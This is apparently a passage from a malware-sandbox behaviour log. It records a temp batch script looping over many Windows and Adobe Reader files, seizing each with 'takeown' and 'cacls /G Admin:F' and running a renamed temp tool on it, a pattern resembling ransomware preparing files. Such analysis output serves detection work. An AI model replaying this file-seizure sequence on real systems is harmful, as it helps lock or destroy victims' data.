C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\fr-FR\jnwdui.dll.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "jnwdui.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "jnwdui.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\it-IT\MSPVWCTL.DLL.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\it-IT\MSPVWCTL.DLL.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\it-IT\MSPVWCTL.DLL.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\Journal.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Journal.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Journal.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Journal.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Journal.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\Templates\Seyes.jtp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Seyes.jtp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Seyes.jtp"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Seyes.jtp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Seyes.jtp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Mail\fr-FR\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\fr-FR\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\fr-FR\WinMail.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ImagingDevices.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ImagingDevices.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "eula.ini" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "eula.ini" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "AcroSign.prc" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "AcroSign.prc" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "forms_distributed.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "forms_distributed.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "reviews_sent.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "reviews_sent.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "stop_collection_data.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "stop_collection_data.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ReadMe.htm" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ReadMe.htm" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "MinionPro-It.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "MinionPro-It.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ZX______.PFB" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ZX______.PFB" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "brt04.hsp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "brt04.hsp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "engphon.env" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "engphon.env" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT""2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT" /E /G Admin:F /C3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "CORPCHAR.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "CORPCHAR.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT""2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT" /E /G Admin:F /C3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "CP1250.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "CP1250.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Workflow.Targets" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Workflow.Targets" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Mail\fr-FR\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\fr-FR\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\fr-FR\WinMail.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ImagingDevices.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ImagingDevices.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "background.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "background.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Java\jre7\bin\server\classes.jsa""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jre7\bin\server\classes.jsa" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jre7\bin\server\classes.jsa"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "classes.jsa" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "classes.jsa" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\en-US\jnwmon.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\jnwmon.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\jnwmon.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "jnwmon.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "jnwmon.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\es-ES\NBMapTIP.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\es-ES\NBMapTIP.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\es-ES\NBMapTIP.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "NBMapTIP.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "NBMapTIP.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\it-IT\jnwdui.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\it-IT\jnwdui.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\it-IT\jnwdui.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "jnwdui.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "jnwdui.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\ja-JP\MSPVWCTL.DLL.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\ja-JP\MSPVWCTL.DLL.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\ja-JP\MSPVWCTL.DLL.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\Templates\Memo.jtp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Memo.jtp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Memo.jtp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Memo.jtp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Memo.jtp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
